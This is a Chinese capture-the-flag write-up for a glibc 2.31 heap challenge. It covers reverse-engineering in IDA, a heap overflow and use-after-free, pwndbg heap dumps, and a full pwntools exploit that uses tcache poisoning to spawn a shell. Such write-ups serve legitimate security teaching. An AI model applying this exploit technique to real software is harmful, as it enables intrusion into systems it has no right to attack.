Write-up | NeSE 丙组 7 月月赛

NeSE 战队丙组 7 月月赛,只做出了 pwn 的这一道题,花了一整天时间。第一次写 Write-up,内容比较详尽。

题目考点

  • 堆溢出
  • Use After Free
  • tcache

解题思路

题目给的程序文件名叫 heap ,提示了解题方向应该与堆相关,同时注意到题目提供的 libc 版本是 2.31。运行程序,首先看到第一行输出了一个提示内容,可能是内存某处的值或者某个地址,十有八九会用到。接着输出了一个菜单,数字 1-5 分别对应创建、写入、打印、删除和退出五个功能。逐个尝试一下,看看程序都提供了什么功能。其中输入数字 3 尝试打印 node 时,程序输出了 “not implemented”,似乎是没有实现这个功能。

$ ./heap 
hint: 0x564ea3dba040

1)create
2)write
3)print
4)del
5)exit
=> 1

Size:
10
node index: 0

1)create
2)write
3)print
4)del
5)exit
=> 2

Index:
0

Size:
20

Content:
blijojodiblido

1)create
2)write
3)print
4)del
5)exit
=> 3
not implemented

1)create
2)write
3)print
4)del
5)exit
=> 4

Index:
0

1)create
2)write
3)print
4)del
5)exit
=> 5

使用 checksec 工具查看一下程序架构和保护机制。这是一个 64 位程序,开启了 PIE ,即程序运行时的代码段(.text)、数据段(.data)和未初始化数据段(.bss)地址都是随机的。

$ checksec ./heap
[*] '/home/nuke/work/ctf/nese/monthly_7/pwn1/heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序静态分析

使用 IDA Pro x64 加载程序进行静态分析,从左侧 Functions windows 定位到 main 函数,按下 F5 键尝试进行反编译,得到的伪代码看起来有点奇怪,似乎缺少了一些逻辑。

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
if (*(_QWORD *)(buff + 16) )
system("/bin/sh");
fwrite("\n1)create\n2)write\n3)print\n4)del\n5)exit\n=> ", 1uLL, 0x2AuLL, stdout);
v5 = 10;
__isoc99_scanf("%d", &v5);
if (v5 >= 0 && v5 <= 5 )
__asm { jmp rax }
puts("make wise choice!");
return __readfsqword(0x28u) ^ v6;
}

按下 TAB 键切换回汇编代码界面,根据汇编代码内容和程序运行逻辑,推测这里应该有一个被编译器使用跳转表优化后的 switch 语句,没有被 IDA 识别出来。从 0x1711 地址处开始的是跳转的目标地址部分,而 0x16F8 地址处和 0x1704 地址处的 lea 指令所取的 unk_20D0 标签所指向的地址应该就是跳转表,0x16E6 是 switch 语句的起始地址,因此先 对 switch 语句进行恢复

.text:00000000000016C4                 call    ___isoc99_scanf
.text:00000000000016C9 mov eax, [rbp+var_C]
.text:00000000000016CC test eax, eax
.text:00000000000016CE js short loc_16D8
.text:00000000000016D0 mov eax, [rbp+var_C]
.text:00000000000016D3 cmp eax, 5
.text:00000000000016D6 jle short loc_16E6
.text:00000000000016D8
.text:00000000000016D8 loc_16D8: ; CODE XREF: main+85↑j
.text:00000000000016D8 lea rdi, aMakeWiseChoice ; "make wise choice!"
.text:00000000000016DF call _puts
.text:00000000000016E4 jmp short loc_1748
.text:00000000000016E6 ; ---------------------------------------------------------------------------
.text:00000000000016E6
.text:00000000000016E6 loc_16E6: ; CODE XREF: main+8D↑j
.text:00000000000016E6 mov eax, [rbp+var_C]
.text:00000000000016E9 cmp eax, 5
.text:00000000000016EC ja short loc_1747
.text:00000000000016EE mov eax, eax
.text:00000000000016F0 lea rdx, ds:0[rax*4]
.text:00000000000016F8 lea rax, unk_20D0
.text:00000000000016FF mov eax, [rdx+rax]
.text:0000000000001702 cdqe
.text:0000000000001704 lea rdx, unk_20D0
.text:000000000000170B add rax, rdx
.text:000000000000170E db 3Eh
.text:000000000000170E jmp rax
.text:0000000000001711 ; ---------------------------------------------------------------------------
.text:0000000000001711 mov eax, 0
.text:0000000000001716 call create_node
.text:000000000000171B jmp short loc_1742
.text:000000000000171D ; ---------------------------------------------------------------------------
.text:000000000000171D mov eax, 0
.text:0000000000001722 call write_node
.text:0000000000001727 jmp short loc_1742
.text:0000000000001729 ; ---------------------------------------------------------------------------
.text:0000000000001729 lea rdi, aNotImplemented ; "not implemented"
.text:0000000000001730 call _puts
.text:0000000000001735 jmp short loc_1742
.text:0000000000001737 ; ---------------------------------------------------------------------------
.text:0000000000001737 mov eax, 0
.text:000000000000173C call del_node
.text:0000000000001741 nop

恢复了 switch 语句之后,再次按 F5 键进行反编译,得到 main 函数的伪代码。可以看到,while 循环的开始部分很引人注目,判断 buff + 16 处 QWORD 大小的值是否非 0 ,如果非 0 就执行 system("/bin/sh"); ,那基本上可以确定后面的目标是通过某种方式修改 buff + 16 处的值使其不为 0 ,就可以拿到 shell 。循环体中剩下的部分就是根据输入值的不同去调用对应的函数完成相关操作,我们也可以注意到 case 3 对应的 print 操作确实是没有实现的。

int __cdecl main(int argc, const char **argv, const char **envp)
{
int input; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
init();
while (2 )
{
if (*(_QWORD *)(buff + 16) )
system("/bin/sh");
fwrite("\n1)create\n2)write\n3)print\n4)del\n5)exit\n=> ", 1uLL, 0x2AuLL, stdout);
input = 10;
__isoc99_scanf("%d", &input);
if (input >= 0 && input <= 5 )
{
switch (input)
{
case 1:
create_node();
continue;
case 2:
write_node();
continue;
case 3:
puts("not implemented");
continue;
case 4:
del_node();
continue;
default:
return __readfsqword(0x28u) ^ v6;
}
}
else
{
puts("make wise choice!");
}
break;
}
return __readfsqword(0x28u) ^ v6;
}

init 函数分析

程序在进入 while 循环之前还调用了一次 init 函数,先来看一下它做了哪些操作。首先是执行了常见的 setvbuf ,通过将第三个参数设置为 _IONBF 从而关闭输出缓冲,使得输出的内容都可以立即显示到屏幕上。接着为 nodes 和 buffer 初始化了内存,大小都是 0x50 。在执行到这里之前并没有看到这两个变量的定义,双击变量看到它们都在 .bss 段,因此都是全局变量。之后的内容就比较有意思,可以看到 buff 就是一个指向 buffer 的指针,也是定义在 .bss 段,然后程序直接输出了 buff 指针的值,也就是 buffer 的地址。那前面我们要修改 buff + 16 地址处的值,也就是修改 buffer 的第 16 个字节的内容,程序给我们提示了 buffer 的地址,更加印证了我们需要去修改 buffer 缓冲区。

int init()
{
setvbuf(stdout, 0LL, 2, 0LL);
memset(&nodes, 0, 0x50uLL);
memset(buffer, 0, sizeof(buffer));
buff = (__int64)buffer;
buffer[1] = 'A';
return fprintf(stdout, "hint: %p\n", (const void *)buff);
}

create_node 函数分析和结构体识别

接着逐个查看 create_nodewrite_nodedel_node 三个函数。create_node 函数的逻辑是获取一个输入 size ,然后输出一个 node index ,而 size 的值被限定在了 0 到 1024 之间。

unsigned __int64 create_node()
{
int size; // [rsp+0h] [rbp-10h] BYREF
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("\nSize: ");
__isoc99_scanf("%d", &size);
if (size > 0 && size <= 1024 )
{
for (i = 0; (int)i <= 8; ++i )
{
if (dword_40AC[4 * i] != 1 )
{
*((_QWORD *)&nodes + 2 * (int)i) = malloc(size);
dword_40AC[4 * i] = 1;
*((_DWORD *)&unk_40A8 + 4 * (int)i) = size;
fprintf(stdout, "node index: %d\n", i);
return __readfsqword(0x28u) ^ v3;
}
}
puts("nodes too much!");
}
else
{
puts("size illegal!");
}
return __readfsqword(0x28u) ^ v3;
}

这段伪代码看起来不是那么清晰,代码里出现了 dword_40AC 和 unk_40A8 ,这两个是什么东西?双击追踪到它所在的 .bss 段,看到它们两个紧跟在 nodes 后面。其实从前面的分析,已经不难猜测程序含有一个 node 结构体,而 nodes 是一个定义为全局变量的 node 数组。前面在 init 函数中,初始化 nodes 时指定的大小是 0x50 ,也就是 80 个字节,那这里的 nodes 怎么会只有 8 个字节?那基本可以推测 dword_40AC 和 unk_40A8 的内存空间也是 nodes 的一部分了,只是因为被直接引用所以被 IDA Pro 也加了标签。算一下它们加起来有多大,8 + 4 + 0x21 * 4 = 144 ,诶怎么不是 80 个字节?

.bss:00000000000040A0                 public nodes
.bss:00000000000040A0 nodes db ? ; ; DATA XREF: create_node+AA↑o
.bss:00000000000040A0 ; write_node+B7↑o ...
.bss:00000000000040A1 db ? ;
.bss:00000000000040A2 db ? ;
.bss:00000000000040A3 db ? ;
.bss:00000000000040A4 db ? ;
.bss:00000000000040A5 db ? ;
.bss:00000000000040A6 db ? ;
.bss:00000000000040A7 db ? ;
.bss:00000000000040A8 unk_40A8 db ? ; ; DATA XREF: create_node+E0↑o
.bss:00000000000040A8 ; del_node+A1↑o
.bss:00000000000040A9 db ? ;
.bss:00000000000040AA db ? ;
.bss:00000000000040AB db ? ;
.bss:00000000000040AC ; _DWORD dword_40AC[33]
.bss:00000000000040AC dword_40AC dd 21h dup(?) ; DATA XREF: create_node+79↑o
.bss:00000000000040AC ; create_node+C1↑o ...

不着急,再看代码。首先 for 循环以 i 作为循环变量从 0 到 8 进行遍历,共 9 个值,接着一个 if 判断 dword_40AC[4 * i] 是否为 1 ,不为 1 则继续向下执行并将其设置为 1 ,如果遍历完 9 个变量没有找到 dword_40AC[4 * i] 不为 1 的,则输出 “nodes too much!” 然后退出。那么不难猜测出 dword_40AC[4 * i] 处是 node 结构体中表示节点是否已被使用的一个变量,且其大小是 一个 DWORD,也就是 4 个字节。根据编程习惯我们假定它的声明为 int used 。从这部分的分析也可以确定 nodes 数组最多可以存储 9 个节点,每隔 4 个 DWORD 长度就有一个 used 变量,那么基本可以推测出每一个 node 结构体的大小是 4 * 4 = 16 个字节。

再看 *((_QWORD *)&nodes + 2 * (int)i) = malloc(size); 这行,申请一块 size 大小的内存,存储的是申请到内存的地址,可以推测处这个是用来存储 node 的 content 的指针,大小为一个 QWORD, 也正是 64 位系统上指针的字长,根据编程习惯我们假定它的声明是 void *content_ptr 。当变量 i 为 0 时,它所指向的就是 nodes 的起始地址,那么它应该是 node 结构体的第一个成员变量。每隔 2 个 QWORD 长度出现一次,验证了前面计算的 node 结构体的大小 16 字节。再看 *((_DWORD *)&unk_40A8 + 4 * (int)i) = size; 这行,把 size 的值也保存到结构体中,大小是一个 DWORD ,同样每隔 16 个字节出现一次,假定它的声明是 unsigned int size

我们来看当 i 为 0 的情况,这时应该是遍历到第一个 node 结构体,content_ptr 成员变量相对于 nodes 数组的偏移是 0 ,那显然它是 node 结构体的第一个成员变量,同样地,size 成员变量相对于 unk_40A8 的偏移是 0 ,相对于 nodes 数组的偏移是 8 ;used 成员变量相对于 dword_40AC 的偏移是 0 ,相对于 nodes 数组的偏移是 12 ,那么 node 结构体的三个成员变量的顺序也就确定了,我们可以定义出 node 结构体。再次计算确认一下,node 结构体的大小 8 + 4 + 4 刚好是 16 个字节,与前面的推测一致。nodes 数组的大小 16 * 9 = 144 也与前面的计算一致,但为什么在 init 函数中只初始化了前 80 个字节我们不得而知,可能是写错了,也可能是别有用意。

struct node {
void *content_ptr;
unsigned int size;
int used;
};

完成 node 结构体和 nodes 数组的定义后,重新按 F5 进行反编译,create_node 函数的结构就就变得很清晰了。先在 nodes 数组的 9 个元素中寻找一个没有被使用的节点,为其申请一块 size 大小的堆块,将 size 值保存并置 used 位为 1 。

unsigned __int64 create_node()
{
int size; // [rsp+0h] [rbp-10h] BYREF
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("\nSize: ");
__isoc99_scanf("%d", &size);
if (size > 0 && size <= 1024 )
{
for (i = 0; (int)i <= 8; ++i )
{
if (nodes[i].used != 1 )
{
nodes[i].content_ptr = malloc(size);
nodes[i].used = 1;
nodes[i].size = size;
fprintf(stdout, "node index: %d\n", i);
return __readfsqword(0x28u) ^ v3;
}
}
puts("nodes too much!");
}
else
{
puts("size illegal!");
}
return __readfsqword(0x28u) ^ v3;
}

write_node 函数分析

接着再看 write_node 函数,读入一个 index,然后判断其值是否在 0 到 9 之间并且节点的 used 被置位,注意这个范围,包含 9,总共 10 个,而前面 create_node 函数在索引时是 9 个,出现了不一致,但是同时这个判断中还含有对 used 成员变量的检查,可能会增加利用难度。接着读入一个 size ,并根据 size 大小读入 content ,诶很有意思这个 size 是我自己输入的,前面创建节点的时候已经指定了一个 size ,并且 content_ptr 指针所指向的堆块大小是根据我创建时指定的 size 来分配的,那显然这俩 size 又出现了不一致,这不是就有了一个堆溢出了嘛,而且溢出多少我自己说了算。

unsigned __int64 write_node()
{
int index; // [rsp+0h] [rbp-10h] BYREF
unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("\nIndex: ");
__isoc99_scanf("%d", &index);
if (index >= 0 && index <= 9 && nodes[index].used )
{
puts("\nSize: ");
__isoc99_scanf("%u", &size);
puts("\nContent: ");
read(0, nodes[index].content_ptr, size);
fflush(stdin);
}
else
{
puts("index illegal!");
}
return __readfsqword(0x28u) ^ v3;
}

del_node 函数分析

最后再来看 del_node 函数,首先检查的 index 范围还是一个越界,然后释放掉了 content_ptr 指针所指向的堆块,并且将 sizeused 成员变量都置 0 ,但是 content_ptr 指针并没有置 0 ,那么它还是指向已经被释放掉的 content 堆块的,此处存在 UAF(Use After Free) 利用。

unsigned __int64 del_node()
{
int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("\nIndex: ");
__isoc99_scanf("%d", &index);
if (index >= 0 && index <= 9 && nodes[index].used )
{
free(nodes[index].content_ptr);
nodes[index].size = 0;
nodes[index].used = 0;
}
else
{
puts("index illegal!");
}
return __readfsqword(0x28u) ^ v2;
}

调试和利用漏洞获取 shell

先来总结一下通过上面分析得到的所有条件:

  1. 程序主动泄露了 buffer 的地址
  2. write_node 函数存在堆溢出漏洞,可以溢出任意大小
  3. del_node 函数在释放 node 时没有将 content_ptr 置 NULL ,可以实现 Use After Free
  4. write_nodedel_node 函数都存在下标越界问题,但可能较难利用,因为还存在对 used 成员变量的检查
  5. buffer 的第 16 个字节不为 0 值时,可以获得 shell
  6. 程序使用的 libc 版本为 2.31,加入了 tcache 机制,释放的堆块会进入 tcachebin 而不是 fastbin

通过这些条件,大致可以产生这样一个利用思路:创建 3 个 node ,即申请 3 个堆块(称为 0、1、2 号块),依次释放掉 1 号堆块和 2 号堆块,利用 0 号块的溢出将已经被释放掉的 1 号块的 fd 指针由原先的 2 号堆块地址修改为 buffer + 16 的地址,然后依次再申请两个堆块,这样第一次申请到的是先前释放掉的 2 号堆块,第二次申请到的则是 buffer + 16 处的缓冲区。利用 write_node 函数向缓冲区开头写入任意内容,在下次 while 循环时,if (*(_QWORD *)(buff + 16) ) 判断通过,程序直接执行 system("/bin/sh"); 返回 shell。

先创建 3 个大小为 16 的堆块试一下,可以看到,从 Top Chunk 分割出来了 3 个小堆块,size 显示为 21(64 位系统中能够划分的最小 chunk 大小为 0x20 字节,其中 chunk size 的最低三位由低到高存储的依次是 PREV_INUSE、IS_MMAPPED 和 NON_MAIN_ARENA 信息,这里它们的值分别是 1、0、0 ,所以 size 的最低位是 1 ,并不是说这块 chunk 的大小是 0x21 字节)。

pwndbg> r
Starting program: /home/nuke/work/ctf/nese/monthly_7/pwn1/heap
hint: 0x555555558040

1)create
2)write
3)print
4)del
5)exit
=> 1

Size:
16
node index: 0
...
=> 1

Size:
16
node index: 1
...
=> 1

Size:
16
node index: 2
...
=> ^C

pwndbg> heap
...
Allocated chunk | PREV_INUSE
Addr: 0x5555555596a0
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555555596c0
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555555596e0
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x555555559700
Size: 0x20901

pwndbg> x/20gx 0x5555555596a0
0x5555555596a0: 0x0000000000000000 0x0000000000000021 <--- | prev_size | size |
0x5555555596b0: 0x0000000000000000 0x0000000000000000 <--- | user data |
0x5555555596c0: 0x0000000000000000 0x0000000000000021
0x5555555596d0: 0x0000000000000000 0x0000000000000000
0x5555555596e0: 0x0000000000000000 0x0000000000000021
0x5555555596f0: 0x0000000000000000 0x0000000000000000
0x555555559700: 0x0000000000000000 0x0000000000020901
0x555555559710: 0x0000000000000000 0x0000000000000000
0x555555559720: 0x0000000000000000 0x0000000000000000
0x555555559730: 0x0000000000000000 0x0000000000000000

接着,释放掉后两个堆块,再次查看堆的情况。可以看到,释放的堆块并没有像在 libc 2.23 中一样回收到了 fastbin,而是放进了 tcachebin 中,但其仍然是由 fd 指针链接到一起的。

pwndbg> c
Continuing.
4

Index:
1

...
=> 4

Index:
2

...
=> ^C

pwndbg> heap
...
Allocated chunk | PREV_INUSE
Addr: 0x5555555596a0
Size: 0x21

Free chunk (tcache) | PREV_INUSE
Addr: 0x5555555596c0
Size: 0x21
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x5555555596e0
Size: 0x21
fd: 0x5555555596d0
...

pwndbg> bins
tcachebins
0x20 [2]: 0x5555555596f0 —▸ 0x5555555596d0 ◂— 0x0
fastbins
0x20: 0x0
...

pwndbg> x/12gx 0x5555555596a0
0x5555555596a0: 0x0000000000000000 0x0000000000000021 <--- | prev_size | size |
0x5555555596b0: 0x0000000000000000 0x0000000000000000 <--- | user data |
0x5555555596c0: 0x0000000000000000 0x0000000000000021 <--- | prev_size | size |
0x5555555596d0: 0x0000000000000000 0x0000555555559010 <--- | fd | bk |
0x5555555596e0: 0x0000000000000000 0x0000000000000021 <--- | prev_size | size |
0x5555555596f0: 0x00005555555596d0 0x0000555555559010 <--- | fd | bk |

接着再创建与刚删掉的堆块大小一样的两个堆块,可以看到,刚刚的两个堆块又回来了。(拿来吧你)

pwndbg> c
Continuing.
1

Size:
16
node index: 1
...
=> 1

Size:
16
node index: 2
...
=> ^C

pwndbg> tcachebins
tcachebins
empty

pwndbg> x/gx (void *)&nodes+16
0x5555555580b0 <nodes+16>: 0x00005555555596f0
pwndbg> x/gx (void *)&nodes+16*2
0x5555555580c0 <nodes+32>: 0x00005555555596d0

现在可以编写利用脚本进行利用了,还需要注意的是,我们要修改的是 2 号堆块的 fd 指针,溢出时还会覆盖 1 号堆块的全部内容还有 2 号堆块自身的 size 字段,需要进行填充。利用脚本如下,可以在 while 循环里的 fwrite 函数处下中断,这样每次执行完一个操作后都会停下来,便于观察。

exploit.py
#!/usr/bin/env python3

# NeSE 丙组月赛 2021 年 7 月
# 题目:heap
# 作者:ChinaNuke

from pwn import *

def cmd_create(size):
p.sendlineafter(b'=> ', b'1')
p.sendlineafter(b'Size: \n', str(size).encode())

def cmd_write(index, size, content):
p.sendlineafter(b'=> ', b'2')
p.sendlineafter(b'Index: \n', str(index).encode())
p.sendlineafter(b'Size: \n', str(size).encode())
p.sendlineafter(b'Content: \n', content)

def cmd_del(index):
p.sendlineafter(b'=> ', b'4')
p.sendlineafter(b'Index: \n', str(index).encode())


if not args['REMOTE']:
p = process('./heap')
else:
p = remote('xxx.xxx.xxx.xxx', xxxxx)

# Receive the leaked buffer address
p.recvuntil(b'hint: 0x')
buff_addr = int(p.recvuntil(b'\n', drop=True), 16)
log.info(f'buff_addr: {buff_addr:#x}')

cmd_create(0x10)
cmd_create(0x10)
cmd_create(0x10)
cmd_del(1)
cmd_del(2)
# Breakpoint on fwrite() function call
#gdb.attach(p, 'b *$rebase(0x16a5)')
cmd_write(0, 80, b'A'*24 + p64(0x21) + b'A'*24 + p64(0x21) + p64(buff_addr+16))
cmd_create(0x10)
cmd_create(0x10)
cmd_write(2, 8, b'hello')

p.interactive()

可以看到,在写入 payload 造成溢出之后,重新申请堆块之前,tcachebin 中的第二个元素被替换成了 buffer + 16 的地址,这时我们再连续申请两个堆块,那么拿到的后一个堆块就是以 buffer + 16 为地址的堆块。

pwndbg> tcachebins
tcachebins
0x20 [2]: 0x555fe286a2f0 —▸ 0x555fe1c91050 (buffer+16) ◂— 0x0
pwndbg> c
...
pwndbg> tcachebins
tcachebins
0x20 [1]: 0x555fe1c91050 (buffer+16) ◂— 0x0
pwndbg> c
...
pwndbg> tcachebins
tcachebins
empty
pwndbg> x/gx (void *)&nodes+16*2
0x555fe1c910c0 <nodes+32>: 0x0000555fe1c91050
作者

ChinaNuke

发布于

2021-08-11

许可协议

评论